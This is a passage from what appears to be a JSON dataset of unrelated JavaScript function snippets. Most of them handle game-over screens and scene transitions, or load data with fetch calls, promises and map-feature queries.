fadeAll();\\n game.time.events.add(500, function() {\\n game.state.start('startScreen');\\n }, this);\\n}\",\n \"function endGame(){\\n // Make the correct scenes visible\\n titleScene.visible = false;\\n gameScene.visible = false;\\n gameOverScene.visible = true;\\n // Set the background\\n renderer.backgroundColor = GAME_OVER_BACKGROUND_COLOR;\\n // Use white audio icons\\n audioHelper.whiteIcons();\\n // Add the game over message to the end scene\\n gameOverMessage = new PIXI.Text(\\n \\\"GAME OVER!\\\",\\n {fontFamily: GAME_FONT, fontSize: 60, fill: 0xEA212E}\\n );\\n gameOverMessage.position.set(GAME_WIDTH/2-gameOverMessage.width/2, GAME_HEIGHT/2-gameOverMessage.height);\\n gameOverScene.addChild(gameOverMessage);\\n // Create a score ScoreSubmitter\\n scoreSubmitter = new ScoreSubmitter();\\n // Bind the end-game keys\\n bindEndKeys();\\n // Stop the timer and set to end\\n gameTimer.stop();\\n gameTimer.whiteText();\\n scoreKeeper.whiteText();\\n gameState = end;\\n}\",\n \"function endOfGame() {\\n var reset = document.getElementById(\\\"newGame\\\");\\n reset.addEventListener(\\\"click\\\", function() {\\n window.location.reload();\\n });\\n}\",\n \"endGame() {\\n this.state = \\\"endOfGame\\\";\\n\\n var resetButton = $(\\\"\\\");\\n\\n resetButton.on(\\\"click\\\", function() {\\n // Empty all game zones of any remaining content\\n $(\\\"#characterSelect\\\").empty();\\n $(\\\"#opponentSelect\\\").empty();\\n $(\\\"#battleZone\\\").empty();\\n $(\\\"#combatLog\\\").empty();\\n\\n // Recreate character cards and set game to character selection\\n game.setupCharCards();\\n game.state = \\\"charSelect\\\";\\n\\n // Remove reset button\\n $(this).remove();\\n\\n });\\n\\n resetButton.insertAfter($(\\\"#atkBtn\\\"));\\n }\",\n \"function finalScore() {\\n $('.start-container').html(finalPage());\\n $('.restartButton').on('click', function (event) {\\n event.preventDefault();\\n STORE.score = 0;\\n $('.score').html('0 / 7');\\n STORE.questionNumber = 0;\\n $('.questionNumber').html('0 / 7');\\n startPage();\\n });\\n\\n}\",\n \"function endGame(){\\n\\tspawnBall();\\n\\tcenterBall();\\n\\tspawnPlayerOne();\\n\\tspawnPlayerTwo();\\n\\tupdateScore();\\n\\t$('#menuCanvas').show();\\n}\",\n \"function exitGame(){\\n selectModalButton($('#exit'));\\n window.location.assign(\\\"../start.html\\\");\\n }\",\n \"function scene4() {\\n animateBottle(0);\\n\\n // window.removeEventListener(\\\"click\\\", scene3);\\n $(\\\"#btn\\\").off(\\\"click\\\");\\n tl = new TimelineLite();\\n tl.to($(\\\"#grass\\\"), 1, { autoAlpha: 1 })\\n .to($(\\\"#coral\\\"), 1, {\\n autoAlpha: 1,\\n delay: 0\\n })\\n .to($(\\\"#d-2\\\"), 1, { autoAlpha: 1 })\\n .to($(\\\"#d-2\\\"), 1, { autoAlpha: 0 })\\n .to($(\\\"#d-4\\\"), 1, { autoAlpha: 1 });\\n\\n localStorage.setItem(\\\"currentScene\\\", 4);\\n console.log(\\\"Scene 4 starting\\\");\\n\\n $(\\\"#btn\\\").on(\\\"click\\\", function() {\\n tl.to($(\\\"#d-4\\\"), 1, { autoAlpha: 0 });\\n tl.to($(\\\"#coral\\\"), 0.3, { autoAlpha: 0 });\\n scene5();\\n });\\n\\n $(\\\"#read-more\\\").on(\\\"click\\\", function() {\\n tl.pause();\\n });\\n $(\\\"#back\\\").on(\\\"click\\\", function() {\\n tl.play(scene5());\\n });\\n}\",\n \"function LoadNextScene()\\n{\\n\\t// This special Unity function loads the scene with the exact name that you send it - as long as the scene is in the project's build settings!\\n\\t// If you have trouble with this, double check the name, spelling, case and build settings\\n\\tApplication.LoadLevel(\\\"End-scene\\\");\\n}\",\n \"function endScreen() {\\n leaderboardScreen.style.display = 'none';\\n homeScreen.style.display = 'none';\\n endQuiz.style.display = 'flex';\\n quizPrompts.style.display = 'none';\\n timer.style.visibility = 'hidden';\\n\\n yourScore()\\n}\",\n \"function backButtonClicked(event) {\\n stage.removeChild(game);\\n game.removeAllChildren();\\n game.removeAllEventListeners();\\n currentState = constants.MENU_STATE;\\n changeState(currentState);\\n }\",\n \"function finishGame() {\\n $('#startGame').removeClass('hidden');\\n $('#startButton').addClass('btn-danger');\\n $('#answers').addClass('hidden');\\n $('#titleDiv').addClass('hidden');\\n $('#imageDiv').addClass('hidden');\\n $('#answers').addClass('hidden');\\n $('#startButton').text('Play again?');\\n $('#startButton').attr('onclick', 'location.reload()');\\n}\",\n \"function shutdown () {\\n // Volvemos a crear el boton de start y lo llevamos al frente\\n startButton = game.add.button(game.width / 2, 300, 'startButton', startClick, this);\\n startButton.anchor.setTo(0.5, 0.5);\\n // Ponemos imagen Game Over\\n this.add.sprite(50, 200, 'gameOver');\\n}\",\n \"function endGame() {\\n window.location.href = \\\"scores.html\\\"\\n\\n}\",\n \"function navigateToScoreOverview(){\\n ApplicationEnded=true;\\n gotoScoreOverview();\\n}\",\n \"function sceneBack() {\\n\\t// if can pop scene\\n\\tif ( App.sceneStack.length > 1 ){\\n\\t\\tvar scene = App.popScene();\\n\\t\\ttransitionScene( App.scene, scene, 1 );\\n\\t// otherwise quit\\n\\t} else {\\n\\t\\tquit();\\n\\t}\\n}\",\n \"function endGame() {\\n //hide words\\n $(\\\".fiveWords\\\").hide();\\n //rid of opacity for start game button\\n document.getElementById(\\\"startGameButton\\\").style.opacity = 1;\\n //enable start button\\n startButton.disabled = false;\\n //make button opaque for end game\\n document.getElementById(\\\"endGameButton\\\").style.opacity = .4;\\n //disable the end button\\n endButton.disabled = true;\\n //get time score\\n userScore = time;\\n \\n //change value of game over -- alec\\n gameOver = true;\\n \\n //document.getElementById(\\\"myAnimation1\\\").innerHTML = userScore.toString();\\n \\n //stop the timer\\n clearInterval(timer);\\n \\n window.location.replace('https://typegamertype.000webhostapp.com//highscore.php?score=' + userScore);\\n}\",\n \"function endGame() {\\n\\n partidas++;\\n tiempoJugadores();\\n\\n //Si se termina la segunda ronda va al estado ranking\\n if (partidas == 2)\\n game.state.start('ranking', true, false, tj1, tj2);\\n\\n //Si termina la primera ronda, va al estado win\\n else\\n game.state.start('win', true, false);\\n\\n}\",\n \"moveToNextScene()\\n {\\n\\n if(seconds2 < 0)\\n {\\n this.add.text(240, 345, 'Survived green and red bug\\\\n Click to meet yellow bug', { fontSize: '18px', fill: '#000000' })\\n this.input.on(\\\"pointerup\\\", () => {\\n this.scene.stop(\\\"GameScene\\\");\\n this.scene.start('YellowBugScene');\\n });\\n //reset time\\n seconds = 1;\\n seconds2 = 1;\\n }\\n }\",\n \"function showEnd() {\\n console.log(\\\"showEnd ran\\\");\\n getResult();\\n $(\\\"#topright\\\").hide();\\n $(\\\"#gamecontents\\\").hide();\\n $(\\\"#end\\\").show();\\n }\",\n \"function end_game_flow () {\\n\\t// console.log(\\\"end...\\\");\\n\\t// block all the event to gems\\n\\tthis.backgroundView.updateOpts({\\n\\t\\tblockEvents: true\\n\\t});\\n\\t// disable scoreboard\\n\\tthis._scoreboard.updateOpts({\\n\\t\\tvisible: false\\n\\t});\\n\\t// show end screen\\n\\tthis._endheader.updateOpts({\\n\\t\\tvisible: true,\\n\\t\\tcanHandleEvents: true\\n\\t});\\n\\tanimate(this._endheader).wait(800).then({y: 0}, 100, animate.easeIn).then({y: 35}, 1000, animate.easeIn);\\n\\n\\t// show score\\n\\tvar scoreText = new TextView({\\n\\t\\tsuperview: this._endheader,\\n\\t\\tx: 0,\\n\\t\\ty: 35, // endscreen animate end point\\n\\t\\twidth: 350,\\n\\t\\theight: 233,\\n\\t\\tautoSize: true,\\n\\t\\ttext: \\\"You achieved \\\" + score.toString(),\\n\\t\\tsize: 38,\\n\\t\\tverticalAlign: 'middle',\\n\\t\\thorizontalAlign: 'center',\\n\\t\\tcanHandleEvents: false\\n\\t});\\n\\t// //slight delay before allowing a tap reset\\n\\tsetTimeout(emit_endgame_event.bind(this), 2000);\\n\\tconsole.log('end game flow.. \\\\n');\\n}\",\n \"function endGame() {\\n gameStarted = false;\\n background('Black');\\n fill(255)\\n text(\\\"GAME OVER\\\", width / 2, height /2);\\n cursor();\\n \\n tryAgainButton = createButton(\\\"Try Again?\\\");\\n tryAgainButton.position(width / 2 - ((width / 4) / 2), height * 0.7);\\n tryAgainButton.size(width /4, height / 8);\\n tryAgainButton.mousePressed(tryAgain);\\n \\n}\",\n \"function backClicked(event) {\\n stage.removeChild(game);\\n game.removeAllChildren();\\n game.removeAllEventListeners();\\n constants.engineSound.stop();\\n currentState = constants.MENU_STATE;\\n changeState(currentState);\\n }\",\n \"function actionOnClickBack() {\\n\\t\\t\\t//alert('Saldras de la carrera');\\n\\t\\t\\tgame.state.start('mainMenuState')\\n\\t\\t}\",\n \"finish(){\\n model.stat.timer.stop();\\n alert(model.algorithm.getCurrStep().description+' '+model.algorithm.getCurrStep().help);\\n\\t\\tdocument.getElementById('nextBtn').disabled=true;\\n\\t\\tdocument.getElementById('autoRunBtn').disabled=true;\\n }\",\n \"function handleEndQuiz() {\\n $('main').on('click', '.js-end-button', (event) => {\\n store.score = 0;\\n store.questionNumber = 0;\\n store.quizStarted = false;\\n renderQuizScreen();\\n });\\n}\",\n \"function endQuiz(){\\n clearInterval(timerInterval);\\n document.querySelector('.endPage').style.display = \\\"block\\\";\\n document.getElementById('quiz').style.display = \\\"none\\\";\\n \\n }\",\n \"function finish () {\\n $(\\\".game\\\").html(\\\"\\\");\\n $(\\\"#choices\\\").html(\\\"\\\");\\n $(\\\"#wins\\\").text(\\\"Correct: \\\" + wins);\\n $(\\\"#losses\\\").text(\\\"Incorrect: \\\" + losses);\\n restart();\\n }\",\n \"function scene5() {\\n animateBottle(0);\\n\\n // window.removeEventListener(\\\"click\\\", scene3);\\n $(\\\"#btn\\\").off(\\\"click\\\");\\n tl = new TimelineLite();\\n tl.to($(\\\"#dirt\\\"), 1, { autoAlpha: 1 })\\n .to($(\\\".help-1\\\"), 5, { autoAlpha: 1, ease: Bounce.easeOut })\\n .to($(\\\".help-1\\\"), 0, { autoAlpha: 0, ease: Bounce.easeOut })\\n .to($(\\\".help-2\\\"), 5, { autoAlpha: 1, ease: Bounce.easeOut })\\n .to($(\\\".help-2\\\"), 0, { autoAlpha: 0, ease: Bounce.easeOut })\\n .to($(\\\".help-3\\\"), 5, { autoAlpha: 1, ease: Bounce.easeOut })\\n .to($(\\\".help-3\\\"), 0, { autoAlpha: 0, ease: Bounce.easeOut })\\n .to($(\\\".help-4\\\"), 5, { autoAlpha: 1, ease: Bounce.easeOut })\\n .to($(\\\".help-4\\\"), 0, { autoAlpha: 0, ease: Bounce.easeOut })\\n .to($(\\\".help-5\\\"), 5, { autoAlpha: 1, ease: Bounce.easeOut })\\n .to($(\\\".help-5\\\"), 0, { autoAlpha: 0, ease: Bounce.easeOut });\\n\\n localStorage.setItem(\\\"currentScene\\\", 5);\\n console.log(\\\"Scene 5 starting\\\");\\n}\",\n \"goToScene(){\\n this.return = false;\\n this.nameArea.text = \\\"\\\";\\n }\",\n \"function endGame(){\\r\\n youWonGif();\\r\\n document.getElementById(\\\"canvas\\\").style.display = \\\"none\\\";\\r\\n document.getElementById(\\\"level\\\").style.display = \\\"none\\\";\\r\\n document.getElementById(\\\"scorePoint\\\").style.display = \\\"none\\\";\\r\\n document.getElementById(\\\"scoreCat1\\\").style.display = \\\"none\\\";\\r\\n document.getElementById(\\\"endScorePoint\\\").style.display = \\\"block\\\";\\r\\n document.getElementById(\\\"startbtn\\\").style.display = \\\"none\\\";\\r\\n document.getElementById(\\\"newbtn\\\").style.display = \\\"block\\\";\\r\\n document.getElementById(\\\"intro\\\").style.display = \\\"none\\\";\\r\\n document.getElementById(\\\"endGame\\\").style.display = \\\"block\\\";\\r\\n \\r\\n}\",\n \"function onNextClick() {\\n\\n\\tAlloy.Globals.NAVIGATION_CONTROLLER.openWindow('startScreen');\\n\\tAlloy.Globals.NAVIGATION_CONTROLLER.closeWindow('welcomeScreen');\\n\\tAlloy.Globals.NAVIGATION_CONTROLLER.closeWindow('welcomeContentScreen');\\n}\",\n \"function handleStartOver() {\\n $('body').on('click', '#restart-button', (e) => {\\n \\n store.view = 'landing';\\n store.questionNumber = 0;\\n store.score = 0;\\n render()\\n })\\n\\n}\",\n \"function endQuiz() {\\n\\n // clear page\\n clearPage();\\n\\n // replace start button\\n $(\\\"#start-button\\\").append(\\\"\\\");\\n\\n // show user how they did\\n quizQuestion.append(\\\"
                    Correct Guesses: \\\" + correctGuesses + \\\"
                    \\\");\\n quizQuestion.append(\\\"
                    Incorrect Guesses: \\\" + (questions.length - correctGuesses) + \\\"
                    \\\");\\n\\n }\",\n \"function redoScene() {\\n drawBox(guiParams.mode);\\n TW.render();\\n}\",\n \"function endWizardPlanes () {\\n\\t\\t\\t$('.wizardPlanes-pasos:not(.pasoFinal)').slideUp();\\n\\t\\t\\t$('.wizardPlanes-pasos.wizard-pasoFinal').slideDown();\\n\\t\\t\\t$('header h3.ta-center').html('El plan más conveniente para ti es');\\n\\t\\t\\t$('header h4').remove();\\n\\t\\t\\t$('html, body').animate({scrollTop: $('header h3').offset().top}, 500);\\n\\t\\t}\",\n \"function gameRestartFragment()\\n{\\n\\ttextSize(100);\\n\\ttext(\\\"GAMEOVER\\\", width/2, height/2);\\n\\ttextAlign(CENTER, CENTER);\\n\\n\\t//resetBtn = createButton('RESET');\\n \\t//resetBtn.position(width/2 - 70, height/2 + 100);\\n \\t//resetBtn.mousePressed(mousePressed);\\n}\",\n \"function endGame(){\\n $('.card-container').removeClass(\\\"selected-card\\\");\\n $('.card-container').remove();\\n while(model.getCardObjArr().length > 0){\\n model.removeFromCardObjArr(0);\\n }\\n\\n while(model.getDisplayedCardArr().length > 0){\\n model.removeFromDisplayedCardArr(0)\\n }\\n\\n while(model.getSelectedCardObjArr().length > 0){\\n model.removeFromSelectedCardArr(0)\\n }\\n if(($(\\\".card-display-container\\\").find(\\\".game-over-page\\\").length) === 0){\\n createGameOverPage();\\n createWinnerPage();\\n } else {\\n return;\\n }\\n }\",\n \"function endgame() {\\n $(\\\"flee-btn\\\").classList.add(\\\"hidden\\\");\\n $(\\\"endgame\\\").classList.add(\\\"hidden\\\");\\n $(\\\"their-card\\\").classList.add(\\\"hidden\\\");\\n $(\\\"pokedex-view\\\").classList.remove(\\\"hidden\\\");\\n qs(\\\"#my-card .buffs\\\").classList.add(\\\"hidden\\\");\\n qs(\\\"#my-card .health-bar\\\").style.width = \\\"100%\\\";\\n qs(\\\"#my-card .hp\\\").innerHTML = pokeHP + \\\"HP\\\";\\n $(\\\"results-container\\\").classList.add(\\\"hidden\\\");\\n $(\\\"p1-turn-results\\\").classList.add(\\\"hidden\\\");\\n $(\\\"title\\\").innerHTML = \\\"Your Pokedex\\\";\\n $(\\\"start-btn\\\").classList.remove(\\\"hidden\\\");\\n }\",\n \"end() {\\n this.endZoomInMode();\\n this.endHandMode();\\n }\",\n \"function endGame() {\\n // Overlay\\n // Show score\\n // Show table \\n // Give user chance to restart\\n // TODO: add high score to renderGUI\\n\\n uploadScore(score);\\n score = 0;\\n}\",\n \"function endGame() {\\n var unansewerPoint = questions.length - currentQuestionNumber + skipQuestionPoint;\\n $('.btn-group-vertical').empty();\\n stop();\\n //when time out, show the number of correct guesses, wrong guesses, unansewer and show start over button\\n $('#currQuestion').html('You have ' + correctPoint + ' correct scorrect point!
                    You have ' + incorrectPoint + ' incorrect scorrect point!
                    You have ' + unansewerPoint + ' unansewer!
                    ');\\n // Start over, do not reload the page, just reset the game\\n var restbtn = $('`\n\n // Append element to document\n document.getElementById('buttons').appendChild(div);\n })\n return features;\n });\n}","async function getData(){\r\n\r\n //Fetch the data from the geojson file\r\n fetch(\"BEWES_Building_Data.geojson\").then(response => response.json()).then(data => {addToTable(data);});\r\n\r\n }","getFeatures() {\n\t\tfetch(`https://maximum-arena-3000.codio-box.uk/api/features/${this.state.prop_ID}`, {\n\t\t\tmethod: \"GET\",\n\t\t\tbody: null,\n\t\t\theaders: {\n\t\t\t\t\"Authorization\": \"Basic \" + btoa(this.context.user.username + \":\" + this.context.user.password)\n\t\t\t}\n\t\t})\n\t\t\t.then(status)\n\t\t\t.then(json)\n\t\t\t.then(dataFromServer => {\n\t\t\t\tthis.setState({\n\t\t\t\t\tfeatures: dataFromServer,\n\t\t\t\t});\n\t\t\t\tconsole.log(dataFromServer, 'features here')\n\t\t\t})\n\t\t\t.catch(error => {\n\t\t\t\tconsole.log(error)\n\t\t\t\tmessage.error('Could not get the features. Try Again!', 5);\n\t\t\t});\n\t}","async function loadCoreData() {\n await Promise.all([\n loadExercises(),\n loadCategories(),\n loadSessions(),\n ]);\n}","function load() {\n return Promise.all([storage.getTree(), storage.getTokenIndex(), storage.getEntries()])\n .then(function(result) {\n console.log('load results')\n tree = result[0];\n dbIndex = new Index(result[1]);\n entries = result[2];\n });\n}","load() {\n return Promise.resolve(false /* identified */);\n }","async fetchDvFeatures() {\n await fetch(\n `${this.mapboxLayer.url}/data/ch.sbb.direktverbindungen.public.json?key=${this.mapboxLayer.apiKey}`,\n )\n .then((res) => res.json())\n .then((data) => {\n this.allFeatures = data['geops.direktverbindungen'].map((line) => {\n return new Feature({\n ...line,\n geometry: new LineString([\n [line.bbox[0], line.bbox[1]],\n [line.bbox[2], line.bbox[3]],\n ]),\n });\n });\n this.syncFeatures();\n })\n // eslint-disable-next-line no-console\n .catch((err) => console.error(err));\n }","async function load() { // returns a promise of an array\n const rawData = await fsp.readFile('./restaurant.json');\n const restaurantsArray = (JSON.parse(String(rawData)));\n return restaurantsArray;\n}","async loadLazy () {\n /**\n if(this.load && !this.loadComplete) {\n import('./lazy-element.js').then((LazyElement) => {\n this.loadComplete = true;\n console.log(\"LazyElement loaded\");\n }).catch((reason) => {\n console.log(\"LazyElement failed to load\", reason);\n });\n }\n */\n }","loadLevels() {\n return Object(tslib__WEBPACK_IMPORTED_MODULE_0__[\"__awaiter\"])(this, void 0, void 0, function* () {\n const level_list = yield Object(_placeos_ts_client__WEBPACK_IMPORTED_MODULE_2__[\"queryZones\"])({ tags: 'level', limit: 2500 })\n .pipe(Object(rxjs_operators__WEBPACK_IMPORTED_MODULE_3__[\"map\"])((i) => i.data))\n .toPromise();\n const levels = level_list.map((lvl) => new _level_class__WEBPACK_IMPORTED_MODULE_7__[\"BuildingLevel\"](lvl));\n levels.sort((a, b) => (a.name || '').localeCompare(b.name || ''));\n this.levels_subject.next(levels);\n });\n }","load() {\n return __awaiter(this, undefined, undefined, function* () {\n yield Promise.all([\n this._strings.load(),\n this._pedal.load(),\n this._keybed.load(),\n this._harmonics.load(),\n ]);\n this._loaded = true;\n });\n }","function loadAllRegimes() {\n //also get the available regimens here for later\n return conceptService.get(Bahmni.Common.Constants.arvRegimensConvSet).then(function (result) {\n vm.allRegimes = result.data;\n });\n }","async getFeaturesAtLocation(latLngHeight, providerCoords) {\n const pickPosition = this.scene.globe.ellipsoid.cartographicToCartesian(Cartographic.fromDegrees(latLngHeight.longitude, latLngHeight.latitude, latLngHeight.height));\n const pickPositionCartographic = Ellipsoid.WGS84.cartesianToCartographic(pickPosition);\n const promises = [];\n const imageryLayers = [];\n for (let i = this.scene.imageryLayers.length - 1; i >= 0; i--) {\n const imageryLayer = this.scene.imageryLayers.get(i);\n const imageryProvider = imageryLayer.imageryProvider;\n // @ts-ignore\n const imageryProviderUrl = imageryProvider.url;\n if (imageryProviderUrl && providerCoords[imageryProviderUrl]) {\n var tileCoords = providerCoords[imageryProviderUrl];\n const pickPromise = imageryProvider.pickFeatures(tileCoords.x, tileCoords.y, tileCoords.level, pickPositionCartographic.longitude, pickPositionCartographic.latitude);\n if (pickPromise) {\n promises.push(pickPromise);\n }\n imageryLayers.push(imageryLayer);\n }\n }\n const pickedFeatures = this._buildPickedFeatures(providerCoords, pickPosition, [], promises, imageryLayers, pickPositionCartographic.height, true);\n await pickedFeatures.allFeaturesAvailablePromise;\n return pickedFeatures.features;\n }","async function importFeatureSuggestions(p) {\n if (!confirm(\"Import feature suggestions?\\n(This adds a lot of data.)\")) return\n await loadCompendiumFeatureSuggestions()\n // console.log(\"compendiumFeatureSuggestionsTables\", compendiumFeatureSuggestionsTables)\n const nodeTable = compendiumFeatureSuggestionsTables[\"Node\"]\n importNodeTable(p, nodeTable)\n const viewNodeTable = compendiumFeatureSuggestionsTables[\"ViewNode\"]\n importViewNodeTable(p, viewNodeTable)\n const linkTable = compendiumFeatureSuggestionsTables[\"Link\"]\n importLinkTable(p, linkTable)\n const viewLinkTable = compendiumFeatureSuggestionsTables[\"ViewLink\"]\n importViewLinkTable(p, viewLinkTable)\n}","function fetchGeoData(){\n $.ajax({\n dataType: \"json\",\n url: \"data/map.geojson\",\n success: function(data) {\n $(data.features).each(function(key, data) {\n geoDataLocations.push(data);\n });\n startMap();\n },\n error: function(error){\n console.log(error);\n return error;\n }\n });\n }","function got_features(bbox, features){\n console.log('got features')\n\n sort_features(features)\n\n features.forEach(function(feature){\n console.log(new Date(feature.attributes.acquisitionDate))\n })\n\n var dates = []\n for(var i = 1999; i <= 2013; i++){\n for(var j = 1; j <= 12; j++){\n dates.push(new Date( '' + j + '/01/' + i + ' GMT-0800 (PST)'))\n }\n }\n // dates.push(new Date('1/01/2014 GMT-0800 (PST)'))\n // dates.push(new Date('2/01/2014 GMT-0800 (PST)'))\n // dates.push(new Date('3/01/2010 GMT-0800 (PST)'))\n // dates.push(new Date('3/01/2011 GMT-0800 (PST)'))\n // dates.push(new Date('3/01/2012 GMT-0800 (PST)'))\n // dates.push(new Date('3/01/2013 GMT-0800 (PST)'))\n // dates.push(new Date('3/01/2014 GMT-0800 (PST)'))\n console.log(dates)\n\n dates.map(function(date){\n date = Number(date)\n console.log('features for date', new Date(date))\n var date_features = features_by_timestamp(date, features)\n date_features.sort(function(a, b){\n return a.attributes.acquisitionDate - b.attributes.acquisitionDate\n })\n var ids = date_features\n .map(function(feature){ return feature.attributes.OBJECTID })\n console.log('\\tfeatures:', date_features.map(function(f){ return JSON.stringify([new Date(f.attributes.acquisitionDate), f.attributes.OBJECTID]) }))\n return {\n // find all the closest ids by date without going over\n ids: ids\n , date: date\n , bbox: bbox\n }\n }).map(function(obj){\n save_image_from_date(obj, 'test-' + obj.date + '.jpg')\n })\n}","async load () {}","function og(){ci()(this,{$featuresCollection:{enumerable:!0,get:this.getFeaturesCollection}})}","async initializeDataLoad() {\n }","loadAgencies() {\n\t\tgetAgencies()\n\t\t\t.then((ans) => {\n\t\t\t\tvar fastAccess = {};\n\t\t\t\tfor(var i = 0; i < ans.length; i++) {\n\t\t\t\t\tlet ag = ans[i];\n\t\t\t\t\tfastAccess[ag.title] = ag.tag;\n\t\t\t\t}\n\n\t\t\t\tthis.setState({\n\t\t\t\t\tagencies: ans,\n\t\t\t\t\tfastAccess: fastAccess,\n\t\t\t\t})\n\t\t\t});\n\t}","function loadSmallTrail(evt) {\n var req = $.ajax({\n url: \"http://localhost:3000/w_pathnondistinct\",\n type: \"GET\",\n });\n req.done(function (resp_json) {\n console.log(JSON.stringify(resp_json));\n var listaFeat = jsonAnswerDataToListElements(resp_json);\n var linjedata = {\n \"type\": \"FeatureCollection\",\n \"features\": listaFeat\n };\n smallTrailArray.addFeatures((new ol.format.GeoJSON()).readFeatures(linjedata, { featureProjection: 'EPSG: 3856' }));\n });\n}","function getTreeData() {\n\tnew Promise((resolve, reject) => {\n\t\t\tutil.getData(srcPath, resolve, reject, 1, rules)\n\t\t})\n\t\t.then(arr => start(arr))\n\t\t.catch(err => console.error(err))\n}","function initiateFeatures() {\r\n\tfeatures = [];\r\n\tfor (var i = featuresNames.length - 1; i >= 0; i--) {\r\n\t\tlet feature = {\r\n\t\t\tname: featuresNames[i],\r\n\t\t\tHTMLbutton: $(\"#button-feature\" + i)[0],\r\n\t\t\tHTMLelement: $(\"#feature\" + i)[0]};\r\n\t\tfeatures.push(feature);\r\n\t}\r\n}","function readCustomFeatures(options) {\n return getCustomFeatureXmlFilenames(options.paths.featureXmlDir)\n .then(function (filenames) {\n return getCustomFiles(options.paths.featureXmlDir)\n .then(function (files) {\n return {\n files: files,\n customFeatureFilepath: filenames\n };\n });\n });\n}","function get_all_loads(){\n const q = datastore.createQuery(LOADS);\n return datastore.runQuery(q).then( (entities) =>{\n return entities[0].map(fromDatastore);\n });\n}","toDataSourceEntities(options = {}, promiseCallback = () => {}) {\n let dataSource = new cesium.GeoJsonDataSource();\n let promise = dataSource.load(this.json, options);\n\n promise.then(function (dataSource) {\n let entities = dataSource.entities.values;\n for (let i = 0; i < entities.length; i++) {\n promiseCallback(entities[i]);\n }\n });\n }","loadFromFile(path, callback){\n\t\tfs.readFile(path, 'utf8', function(err, data){\n\t\t\tif(err){\n\t\t\t\tconsole.log(err);\n\t\t\t\treturn;\n\t\t\t}\n\t\t\t//data is the string returned by fs's readFile function.\n\t\t\tlet newData = JSON.parse(data);\n\n\t\t\tthis.idIterator = newData.idIterator;\n\t\t\tthis.currentFeature = newData.currentFeature;\n\t\t\tthis.geo = newData.geo;\n\t\t\tcallback();\n\t\t}.bind(this))\n\t}","function getFragLocs(uris) {\n if (uris)\n return Promise.all(uris.map(uri => \n\t {console.log(\"GETLOC:\", uri)\n return ( getTurtle(uri)\n .then(store => {\n const fragnode = store.any(rdf.sym(uri), REMIX(\"fragment\"), undefined)\n\t\t console.log(uri, fragnode)\n return Promise.resolve(getNodeURI(fragnode))\n })\n\t .catch(e=>{console.log(e);return Promise.resolve(undefined)})\n\t\t )}\n ))\n else return Promise.resolve([])\n}","async features() {\n const res = await this.sendIgnoringError(\"FEAT\");\n const features = new Map();\n // Not supporting any special features will be reported with a single line.\n if (res.code < 400 && (0, parseControlResponse_1.isMultiline)(res.message)) {\n // The first and last line wrap the multiline response, ignore them.\n res.message.split(\"\\n\").slice(1, -1).forEach(line => {\n // A typical lines looks like: \" REST STREAM\" or \" MDTM\".\n // Servers might not use an indentation though.\n const entry = line.trim().split(\" \");\n features.set(entry[0], entry[1] || \"\");\n });\n }\n return features;\n }","async loadStartData() {\n console.timeStart('track');\n for (let document of this.documents.all()) {\n if (this.shouldTrackFile(vscode_uri_1.URI.parse(document.uri).fsPath)) {\n this.trackOpenedDocument(document);\n }\n }\n if (this.alwaysIncludeGlobPattern) {\n let alwaysIncludePaths = await util_1.promisify(glob_1.glob)(this.alwaysIncludeGlobPattern, {\n cwd: this.startPath || undefined,\n absolute: true,\n });\n for (let filePath of alwaysIncludePaths) {\n filePath = vscode_uri_1.URI.file(filePath).fsPath;\n if (this.shouldTrackFile(filePath)) {\n this.trackFile(filePath);\n }\n }\n }\n await this.trackFileOrFolder(this.startPath);\n console.timeEnd('track', `${this.map.size} files tracked`);\n this.startDataLoaded = true;\n }","async load(indexRootUrl, searchHint) {\n const enumValueIds = searchHint;\n const promises = enumValueIds.map(async (valueId) => {\n const value = this.values[valueId];\n if (value.dataRowIds)\n return Promise.resolve();\n const promise = loadCsv(joinUrl(indexRootUrl, value.url), {\n dynamicTyping: true,\n header: true\n }).then(rows => rows.map(({ dataRowId }) => dataRowId));\n value.dataRowIds = promise;\n return promise;\n });\n await Promise.all(promises);\n }","get feature() { return features.findById(this.get()); }","static loadGenres() {\n // Returns a new promise to the user\n return new Promise((success, fail) => {\n var genres = [] // Stores the Genre objects\n // Reads all of the movie information\n firebase.database().ref(\"items\").once('value').then(function(snapshot) {\n // Explores all of the movies\n for(var i = 0; i < snapshot.val().length; i++) {\n var info = snapshot.val()[i] // Stores the movie info\n var genre = info.genre; // Stores the movie's genre array\n // Explores the genre's\n for(var i2 = 0; i2 < genre.length; i2++) {\n // Checks to see if the given genre is already in the genres array\n if(genres.indexOf(genre[i2]) == -1) {\n genres.push(genre[i2]) // Adds the entry to the genres array\n }\n }\n // Checks if this is the last movie to be evaluated\n if(i+1 == snapshot.val().length) {\n success(genres) // Returns the genre array to the user\n }\n } \n })\n })\n }","async populateSensorList() {\n\n let url = \"http://air.eng.utah.edu/dbapi/api/liveSensors/\"+this.sensorSource;\n if(this.sensorSource == \"airu\"){\n url = \"http://air.eng.utah.edu/dbapi/api/liveSensors/airU\";\n }\n //let url = \"http://air.eng.utah.edu/dbapi/api/sensorsAtTime/airU&2019-01-04T22:00:00Z\"\n let req = fetch(url)\n console.log(\"INSIDE OF POPULATE!!!\",this.sensorList)\n /* Adds each sensor to this.sensorList */\n req.then((response) => {\n return response.text();\n })\n .then((myJSON) => {\n myJSON = JSON.parse(myJSON);\n let sensors = [];\n for (let i = 0; i < myJSON.length; i++) {\n let val = {\n id: myJSON[i].ID,\n lat: myJSON[i].Latitude,\n long: myJSON[i].Longitude\n };\n sensors.push(val)\n }\n\n this.sensorList = sensors;\n });\n }","function n$1(r){return r&&g.fromJSON(r).features.map((r=>r))}","loadState() {\n return Promise.resolve();\n }","async loadData() {\n if (!this.load_data) throw new Error('no load data callback provided');\n\n return await Q.nfcall(this.load_data);\n }","async function loadEndpoints()\n{\n let result = [];\n\n const { db, sessionId } = this.global;\n\n const endpoints = await queryEndpoint.selectAllEndpoints(db, sessionId);\n\n // Selection is one by one since existing API does not seem to provide\n // linkage between cluster and what endpoint it belongs to.\n //\n // TODO: there should be a better way\n for (const endpoint of endpoints) {\n const endpointClusters\n = await queryEndpointType.selectAllClustersDetailsFromEndpointTypes(db, [ { endpointTypeId : endpoint.endpointTypeRef } ]);\n result.push({...endpoint, clusters : endpointClusters.filter(c => c.enabled == 1) });\n }\n\n return result;\n}","async getCockpitRegions() {\n const regions = await this.getRegionNames();\n return Promise.all(regions.map(name => {\n var i = this.getRegionItems(name);\n return i;\n }));\n }","function loadData(data) {\r\n // returns a promise\r\n }","function restcountries(restcountriesurl){\r\n return new Promise((res,rej)=>{\r\n let req= new XMLHttpRequest();\r\n 